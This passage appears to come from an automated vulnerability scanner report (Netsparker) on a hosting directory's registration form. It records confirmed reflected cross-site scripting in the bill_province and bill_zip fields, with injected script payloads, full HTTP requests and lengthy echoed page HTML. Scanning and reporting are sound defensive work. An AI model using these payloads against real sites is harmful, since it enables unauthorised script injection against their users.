checkAgain(src) { var sel=document.forms['billingForm'].elements['account_type']; if (!src.checked) sel.selectedIndex=0; } function copyFromContact(src) { if (!src.checked) {return;} var f1=document.forms['billingForm']; f1.elements['bill_address'].value=f1.elements['address'].value; f1.elements['bill_address2'].value=f1.elements['address2'].value; f1.elements['bill_city'].value=f1.elements['city'].value; f1.elements['bill_zip'].value=f1.elements['zip'].value; f1.elements['bill_province'].value=f1.elements['province'].value; f1.elements['bill_state'].selectedIndex=f1.elements['state'].selectedIndex; f1.elements['bill_country'].selectedIndex=f1.elements['country'].selectedIndex; f1.elements['bill_phone'].value=f1.elements['phone'].value; } //--> </SCRIPT> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td background="images/header/header_bg.gif"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a></td> <td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td> <td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td> </tr> <tr> <td height="38" align="right"> <table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
<td valign="top"><img src="images/header/mostpopular.gif"></td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
<option value='7C9931B12F31C0B5D6A5D11A9BA55A39C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Linux VPS Hosting</option><option value='7C9931B12F31C0B58D7289E62E26BC8B6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Host 5 sites for $5.95</option><option value='7C9931B12F31C0B5BA8FD041D7CC7899C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='7C9931B12F31C0B57604C7030D5EA1A6C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>1&1</option><option value='7C9931B12F31C0B556129ECBB1EBF9526F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Hosting 4 Less</option> </select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
<option value='7C9931B12F31C0B54A10D2CEDA3F6EA8C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>iWeb Technology</option><option value='7C9931B12F31C0B55F688EEF48F71D5FC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>SingleHop</option><option value='7C9931B12F31C0B596D7408C1A16D29C6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Serverconnect@SwedishHost</option><option value='7C9931B12F31C0B5E803CA6E051B1393C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>OnApp - Build Your Cloud</option><option value='7C9931B12F31C0B5514623AFB4109B9A6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
<option value='7C9931B12F31C0B5018DAA2BDC631819C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>GlowHost $4.95 Hosting</option><option value='7C9931B12F31C0B5DFB63814F1ECA9C1C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Unlimited Hosting $2.99/m</option><option value='7C9931B12F31C0B55841C930230C320DC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='7C9931B12F31C0B55894E9762D838DEEC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Cast-Iron Hosting Review</option><option value='7C9931B12F31C0B5718E9FB85317453BC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Wholesale/Reseller</option>
<option value='7C9931B12F31C0B53387BC05B0261748C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>resell merchant accounts</option><option value='7C9931B12F31C0B5F107DAA3AA5D084F6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Cheap Reseller Hosting</option><option value='7C9931B12F31C0B5050D5EB2B34E2B606F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>PremiumReseller.com</option><option value='7C9931B12F31C0B535755BA29E5870296F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table> </td> </tr> <tr> <td height="32" align="right" class="headerlink"> <table border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="headerlink"><a href="index.php">Home</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink">List Your Company</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="advert_login.php">Advertiser Login</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
</table> </td> </tr> </table> </td> </tr> <tr> <td valign="top"> <div class="regform_intro"> <style type"text/css">

p {
font-size: 14px;
font-family: arial, verdanna, sans-serif;
}

h2 {
font-size: 16px;
font-family: arial, verdanna, sans-serif;
font-style: bold;
}

td.body {
color : #000000;
font-family : Arial, Tahoma, sans-serif;
font-size : 14px;
}

</style>
<h2>Create A Hosting Catalog Account</h2>
<p>Wise choice! By listing your web hosting company at Hosting Catalog, you will receive well qualified, targeted traffic from hundreds of people in need of web hosting solutions.</p>
<p>There is a minimum deposit of $25 per account and a minimum bid of $.05 per listing. </p>
<p>For optimal results, include your listings in the <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt"><b>Hosting Catalog Ad Network</b></a>. We hand pick the sites in our network, so they are perfectly targeted towards those who are looking for web hosting services. Plus, you'll spend up to 300% less than you would using the big search ad network programs and get exposure to millions of potential hosting customers each month! Just make sure your bids meet the minimum amount for inclusion in the ad network. You can find this info <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt">here</a></p>
<p>Paying through PayPal? <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal%40inetinteractive%2ecom&item_name=Hosting%20Catalog%20Deposit&no_shipping=0&no_note=1&currency_code=USD&lc=US&bn=PP%2dBuyNowBF&charset=UTF%2d8" target="new"><b>Send us your deposit via PayPal</b></a>. (Our PayPal address is paypal@hostingcatalog.com. Please specify your Hosting Catalog account email if it is different from your PayPal email). </p>
<p>Don't worry; your information is safe with us. <b>We respect your privacy and will never sell of give any of your information to a 3rd party.</b></p>
<p>Complete the contact and payment information forms below to get your account started and the targeted traffic streaming in!</p>
</div> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="10"><img src="images/misc/spacer.gif" width="10" height="1"></td> <td width="100%" valign="top"> <span class="redstar">*</span>&nbsp;<strong>There is a minimum $25 deposit. </strong> <form action="https://www.hostingcatalog.com/register.php" method="post" name="billingForm" onSubmit="return verify();"> <table> <tr> <td valign="top"> <table cellpadding="1" cellspacing="1" border="0" width="100%"> <tr align="left" valign="top" bgcolor="#E1E1E1"> <td class="body">&nbsp;<B>CONTACT INFORMATION</B></td> </tr> <tr align="left" valign="top"> <td class="body" width="400" nowrap> <table width="100%" border="0" cellspacing="3" cellpadding="0"> <tr> <td class="body" align="left" width="160" nowrap><span class="redstar">*</span>Company Name:</td> <td> <input class="textfield" type="text" name="company_name" size="20" maxlength="30" value="Smith"> <..
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
company_name POST Smith
first_name POST Smith
last_name POST Smith
address POST 3
address2 POST 3
city POST 3
state POST 11
province POST 3
zip POST 3
country POST 12
phone POST 3
e_mail POST netsparker@example.com
retype_e_mail POST netsparker@example.com
password POST 3
retype_password POST 3
deposit POST 3
promo_code POST 3
card_number POST 3
expire_date POST 3
owner_first_name POST Smith
owner_last_name POST Smith
copy_from_cont POST 1
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_state POST 3
bill_province POST '"--></style></script><script>alert(0x001FAE)</script>
bill_zip POST 3
bill_country POST 225
bill_phone POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 534
Accept-Encoding: gzip, deflate

company_name=Smith&first_name=Smith&last_name=Smith&address=3&address2=3&city=3&state=11&province=3&zip=3&country=12&phone=3&e_mail=netsparker%40example.com&retype_e_mail=netsparker%40example.com&password=3&retype_password=3&deposit=3&promo_code=3&card_number=3&expire_date=3&owner_first_name=Smith&owner_last_name=Smith&copy_from_cont=1&bill_address=3&bill_address2=3&bill_city=3&bill_state=3&bill_province='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001FAE)%3c%2fscript%3e&bill_zip=3&bill_country=225&bill_phone=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 14:24:48 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Hosting Catalog - List Your Site</title> <link rel="stylesheet" type="text/css" href="style.css"> <SCRIPT LANGUAGE="JavaScript"> <!-- function isNumber(src) { src.value=src.value.replace('$',''); if (src.value.charAt(0)=='0') { alert("Please enter correct numeric value."); src.focus(); return false; } src.value=src.value.replace(',',''); if (src.value.indexOf('.')!=-1) src.value=src.value.substr(0,src.value.indexOf('.')); if (src.value.length==0) src.value='0'; if (parseInt(src.value)<25) { alert("There's a minimum $25 deposit."); src.value='25'; } var i = 0; strField=src.value; for (i=0;i<strField.length; i++) { if ((strField.charAt(i)<'0')||(strField.charAt(i)>'9')) { alert ('Please enter a numeric value.'); src.focus(); return false; } } strField=''; var j=0; for (i=src.value.length-1;i>=0;i--) { strField=src.value.charAt(i)+strField; if ((j+1)%3==0&&i!=0) strField=','+strField; j++; } src.value=strField+'.00'; return true; } // checks date on MM/YY format function checkDate(src) { //checking if year <2002 then card is expired var exp_date=src.value; pattern="[0-9]{2}(/)[0-9]{2}"; res=exp_date.search(pattern); if (res==-1) {alert('Wrong date format!'); src.focus(); return false;} dp = exp_date.split('/'); if ((dp[0]=='00')||(parseInt(dp[0])>12)||(dp[1]=='00')||(dp[1]=='01')) {alert('Wrong date format!'); src.focus(); return false;} return true; } function describe(num) { var url="http://www.hostingcatalog.com/bid_description.php/"+num; windowVar = window.open(url,'desc_win','width=250,height=210,location=0,toolbar=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,channelmode=0,fullscreen=0'); windowVar.focus(); } function isMail(src) { src.value=src.value.toLowerCase(); addr=src.value; pattern="^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[_a-z0-9-]+(\.[_a-z0-9-]+)*(\.([a-z]{2,3}))+$"; res=addr.search(pattern); if (res==-1) { alert('Wrong mail format'); src.focus(); return false; } else return true; }// end isMail function isSame(src1,src2,str) { if (src1.value!=src2.value) { alert(str); src1.focus(); return false; } else return true; }// end isSame function isValidCardNumber(src) { var card_number=src.value; flag=true; pattern1="[0-9]{13,16}"; pattern2="[0-9]{4}(-)[0-9]{4}(-)[0-9]{4}(-)[0-9]{1,4}"; res=card_number.search(pattern1); if (res!=-1) { if (card_number.length>16) {flag=false;} } else { res=card_number.search(pattern2); if (res==-1) {flag=false;} if (card_number.length>19) {flag=false;} } if (!flag) { alert('Invalid credit card number'); src.focus(); return false; } else return true; }// end isValidCardNumber function phoneRequired(src) { var strField = new String(src.value); flag=true; if (strField=='') flag=false; /* for (i = 0; i < strField.length; i++) if (strField.charAt(i)!='-' && (strField.charAt(i) < '0' || strField.charAt(i) > '9')) { flag=false; } alert(strField.length); */ if (strField.length < 10) flag=false; if (!flag) { alert ('Please specify a correct phone number'); src.focus(); return false; } return true; }// phoneRequired function verify() { var f1=document.forms['billingForm']; if (!isMail(f1.elements['e_mail'])) return false; if (!isMail(f1.elements['retype_e_mail'])) return false; if (!isSame(f1.elements['password'],f1.elements['retype_password'],'Passwords must coincide!')) return false; if (!isSame(f1.elements['e_mail'],f1.elements['retype_e_mail'],'E-mail addresses must coincide!')) return false; if (f1.elements['company_name'].value=="") { alert('Not all fields are filled'); f1.elements['company_name'].focus(); return false; } if (f1.elements['first_name'].value=="") { alert('Not all fields are filled'); f1.elements['first_name'].focus(); return false; } if (f1.elements['last_name'].value=="") { alert('Not all fields are filled'); f1.elements['last_name'].focus(); return false; } if (f1.elements['address'].value=="") { alert('Not all fields are filled'); f1.elements['address'].focus(); return false; } if (f1.elements['city'].value=="") { alert('Not all fields are filled'); f1.elements['city'].focus(); return false; } if (f1.elements['state'].value=="") { alert('Not all fields are filled'); f1.elements['state'].focus(); return false; } if (f1.elements['zip'].value=="") { alert('Not all fields are filled'); f1.elements['zip'].focus(); return false; } if (f1.elements['password'].value=="") { alert('Not all fields are filled'); f1.elements['password'].focus(); return false; } if (!checkDate(f1.elements['expire_date'])) return false; if (!isValidCardNumber(f1.elements['card_number'])) return false; if (f1.elements['card_number'].value=="") { alert('Not all fields are filled'); f1.elements['card_number'].focus(); return false; } if (f1.elements['owner_first_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_first_name'].focus(); return false; } if (f1.elements['owner_last_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_last_name'].focus(); return false; } if (f1.elements['bill_address'].value=="") { alert('Not all fields are filled'); f1.elements['bill_address'].focus(); return false; } if (f1.elements['bill_city'].value=="") { alert('Not all fields are filled'); f1.elements['bill_city'].focus(); return false; } if (f1.elements['bill_country'].value=="") { alert('Not all fields are filled'); f1.elements['bill_country'].focus(); return false; } if (f1.elements['bill_zip'].value=="") { alert('Not all fields are filled'); f1.elements['bill_zip'].focus(); return false; } amount=f1.elements['deposit'].value; card=f1.elements['card_type'].options[f1.elements['card_type'].selectedIndex].text; if (confirm("You're about to charge $"+amount+" to your "+card+".")) return true; else return false; }// verify function checkType(src) { var val=src.options[src.selectedIndex].value; // if (val>1) {document.forms['billingForm'].elements['remember_info'].checked=true;} }// checkType function checkAgain(src) { var sel=document.forms['billingForm'].elements['account_type']; if (!src.checked) sel.selectedIndex=0; } function copyFromContact(src) { if (!src.checked) {return;} var f1=document.forms['billingForm']; f1.elements['bill_address'].value=f1.elements['address'].value; f1.elements['bill_address2'].value=f1.elements['address2'].value; f1.elements['bill_city'].value=f1.elements['city'].value; f1.elements['bill_zip'].value=f1.elements['zip'].value; f1.elements['bill_province'].value=f1.elements['province'].value; f1.elements['bill_state'].selectedIndex=f1.elements['state'].selectedIndex; f1.elements['bill_country'].selectedIndex=f1.elements['country'].selectedIndex; f1.elements['bill_phone'].value=f1.elements['phone'].value; } //--> </SCRIPT> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td background="images/header/header_bg.gif"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a></td> <td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td> <td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td> </tr> <tr> <td height="38" align="right"> <table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
<td valign="top"><img src="images/header/mostpopular.gif"></td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
<option value='7C9931B12F31C0B5719BFA907FD39F73C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Linux VPS Hosting</option><option value='7C9931B12F31C0B598CFA18A73176AC56F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Host 5 sites for $5.95</option><option value='7C9931B12F31C0B56B3DE3880F2B4688C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='7C9931B12F31C0B59430E7F667A5922CC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>1&1</option><option value='7C9931B12F31C0B5F837081ECF6C81116F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Hosting 4 Less</option> </select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
<option value='7C9931B12F31C0B59B3A0D34AAA548C8C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>iWeb Technology</option><option value='7C9931B12F31C0B55020565587DC0B0BC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>SingleHop</option><option value='7C9931B12F31C0B554580244259E56746F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Serverconnect@SwedishHost</option><option value='7C9931B12F31C0B583EC3F44103EDD7BC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>OnApp - Build Your Cloud</option><option value='7C9931B12F31C0B500DF2BF972EEBBED6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
<option value='7C9931B12F31C0B57556BA5CAF1CDB6EC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>GlowHost $4.95 Hosting</option><option value='7C9931B12F31C0B59A9652F138FCE2E1C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Unlimited Hosting $2.99/m</option><option value='7C9931B12F31C0B55F000CDD5389E0D4C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='7C9931B12F31C0B572D886045FA2D203C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Cast-Iron Hosting Review</option><option value='7C9931B12F31C0B5E74AD51FC6DDC091C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Wholesale/Reseller</option>
<option value='7C9931B12F31C0B53D993DC677326342C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>resell merchant accounts</option><option value='7C9931B12F31C0B5857779BD8F61ACAA6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Cheap Reseller Hosting</option><option value='7C9931B12F31C0B5BA118B99812F8D566F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>PremiumReseller.com</option><option value='7C9931B12F31C0B593EB1E2C6BE2AD6B6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table> </td> </tr> <tr> <td height="32" align="right" class="headerlink"> <table border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="headerlink"><a href="index.php">Home</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink">List Your Company</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="advert_login.php">Advertiser Login</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
</table> </td> </tr> </table> </td> </tr> <tr> <td valign="top"> <div class="regform_intro"> <style type"text/css">

p {
font-size: 14px;
font-family: arial, verdanna, sans-serif;
}

h2 {
font-size: 16px;
font-family: arial, verdanna, sans-serif;
font-style: bold;
}

td.body {
color : #000000;
font-family : Arial, Tahoma, sans-serif;
font-size : 14px;
}

</style>
<h2>Create A Hosting Catalog Account</h2>
<p>Wise choice! By listing your web hosting company at Hosting Catalog, you will receive well qualified, targeted traffic from hundreds of people in need of web hosting solutions.</p>
<p>There is a minimum deposit of $25 per account and a minimum bid of $.05 per listing. </p>
<p>For optimal results, include your listings in the <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt"><b>Hosting Catalog Ad Network</b></a>. We hand pick the sites in our network, so they are perfectly targeted towards those who are looking for web hosting services. Plus, you'll spend up to 300% less than you would using the big search ad network programs and get exposure to millions of potential hosting customers each month! Just make sure your bids meet the minimum amount for inclusion in the ad network. You can find this info <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt">here</a></p>
<p>Paying through PayPal? <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal%40inetinteractive%2ecom&item_name=Hosting%20Catalog%20Deposit&no_shipping=0&no_note=1&currency_code=USD&lc=US&bn=PP%2dBuyNowBF&charset=UTF%2d8" target="new"><b>Send us your deposit via PayPal</b></a>. (Our PayPal address is paypal@hostingcatalog.com. Please specify your Hosting Catalog account email if it is different from your PayPal email). </p>
<p>Don't worry; your information is safe with us. <b>We respect your privacy and will never sell of give any of your information to a 3rd party.</b></p>
<p>Complete the contact and payment information forms below to get your account started and the targeted traffic streaming in!</p>
</div> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="10"><img src="images/misc/spacer.gif" width="10" height="1"></td> <td width="100%" valign="top"> <span class="redstar">*</span>&nbsp;<strong>There is a minimum $25 deposit. </strong> <form action="https://www.hostingcatalog.com/register.php" method="post" name="billingForm" onSubmit="return verify();"> <table> <tr> <td valign="top"> <table cellpadding="1" cellspacing="1" border="0" width="100%"> <tr align="left" valign="top" bgcolor="#E1E1E1"> <td class="body">&nbsp;<B>CONTACT INFORMATION</B></td> </tr> <tr align="left" valign="top"> <td class="body" width="400" nowrap> <table width="100%" border="0" cellspacing="3" cellpadding="0"> <tr> <td class="body" align="left" width="160" nowrap><span class="redstar">*</span>Company Name:</td> <td> <input class="textfield" type="text" name="company_name" size="20" maxlength="30" value="Smith"> <..
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
company_name POST Smith
first_name POST Smith
last_name POST Smith
address POST 3
address2 POST 3
city POST 3
state POST 11
province POST 3
zip POST 3
country POST 12
phone POST 3
e_mail POST netsparker@example.com
retype_e_mail POST netsparker@example.com
password POST 3
retype_password POST 3
deposit POST 3
promo_code POST 3
card_number POST 3
expire_date POST 3
owner_first_name POST Smith
owner_last_name POST Smith
copy_from_cont POST 1
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_state POST 3
bill_province POST 3
bill_zip POST '"--></style></script><script>alert(0x001FAF)</script>
bill_country POST 225
bill_phone POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 534
Accept-Encoding: gzip, deflate

company_name=Smith&first_name=Smith&last_name=Smith&address=3&address2=3&city=3&state=11&province=3&zip=3&country=12&phone=3&e_mail=netsparker%40example.com&retype_e_mail=netsparker%40example.com&password=3&retype_password=3&deposit=3&promo_code=3&card_number=3&expire_date=3&owner_first_name=Smith&owner_last_name=Smith&copy_from_cont=1&bill_address=3&bill_address2=3&bill_city=3&bill_state=3&bill_province=3&bill_zip='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001FAF)%3c%2fscript%3e&bill_country=225&bill_phone=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 14:24:56 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Hosting Catalog - List Your Site</title> <link rel="stylesheet" type="text/css" href="style.css"> <SCRIPT LANGUAGE="JavaScript"> <!-- function isNumber(src) { src.value=src.value.replace('$',''); if (src.value.charAt(0)=='0') { alert("Please enter correct numeric value."); src.focus(); return false; } src.value=src.value.replace(',',''); if (src.value.indexOf('.')!=-1) src.value=src.value.substr(0,src.value.indexOf('.')); if (src.value.length==0) src.value='0'; if (parseInt(src.value)<25) { alert("There's a minimum $25 deposit."); src.value='25'; } var i = 0; strField=src.value; for (i=0;i<strField.length; i++) { if ((strField.charAt(i)<'0')||(strField.charAt(i)>'9')) { alert ('Please enter a numeric value.'); src.focus(); return false; } } strField=''; var j=0; for (i=src.value.length-1;i>=0;i--) { strField=src.value.charAt(i)+strField; if ((j+1)%3==0&&i!=0) strField=','+strField; j++; } src.value=strField+'.00'; return true; } // checks date on MM/YY format function checkDate(src) { //checking if year <2002 then card is expired var exp_date=src.value; pattern="[0-9]{2}(/)[0-9]{2}"; res=exp_date.search(pattern); if (res==-1) {alert('Wrong date format!'); src.focus(); return false;} dp = exp_date.split('/'); if ((dp[0]=='00')||(parseInt(dp[0])>12)||(dp[1]=='00')||(dp[1]=='01')) {alert('Wrong date format!'); src.focus(); return false;} return true; } function describe(num) { var url="http://www.hostingcatalog.com/bid_description.php/"+num; windowVar = window.open(url,'desc_win','width=250,height=210,location=0,toolbar=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,channelmode=0,fullscreen=0'); windowVar.focus(); } function isMail(src) { src.value=src.value.toLowerCase(); addr=src.value; pattern="^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[_a-z0-9-]+(\.[_a-z0-9-]+)*(\.([a-z]{2,3}))+$"; res=addr.search(pattern); if (res==-1) { alert('Wrong mail format'); src.focus(); return false; } else return true; }// end isMail function isSame(src1,src2,str) { if (src1.value!=src2.value) { alert(str); src1.focus(); return false; } else return true; }// end isSame function isValidCardNumber(src) { var card_number=src.value; flag=true; pattern1="[0-9]{13,16}"; pattern2="[0-9]{4}(-)[0-9]{4}(-)[0-9]{4}(-)[0-9]{1,4}"; res=card_number.search(pattern1); if (res!=-1) { if (card_number.length>16) {flag=false;} } else { res=card_number.search(pattern2); if (res==-1) {flag=false;} if (card_number.length>19) {flag=false;} } if (!flag) { alert('Invalid credit card number'); src.focus(); return false; } else return true; }// end isValidCardNumber function phoneRequired(src) { var strField = new String(src.value); flag=true; if (strField=='') flag=false; /* for (i = 0; i < strField.length; i++) if (strField.charAt(i)!='-' && (strField.charAt(i) < '0' || strField.charAt(i) > '9')) { flag=false; } alert(strField.length); */ if (strField.length < 10) flag=false; if (!flag) { alert ('Please specify a correct phone number'); src.focus(); return false; } return true; }// phoneRequired function verify() { var f1=document.forms['billingForm']; if (!isMail(f1.elements['e_mail'])) return false; if (!isMail(f1.elements['retype_e_mail'])) return false; if (!isSame(f1.elements['password'],f1.elements['retype_password'],'Passwords must coincide!')) return false; if (!isSame(f1.elements['e_mail'],f1.elements['retype_e_mail'],'E-mail addresses must coincide!')) return false; if (f1.elements['company_name'].value=="") { alert('Not all fields are filled'); f1.elements['company_name'].focus(); return false; } if (f1.elements['first_name'].value=="") { alert('Not all fields are filled'); f1.elements['first_name'].focus(); return false; } if (f1.elements['last_name'].value=="") { 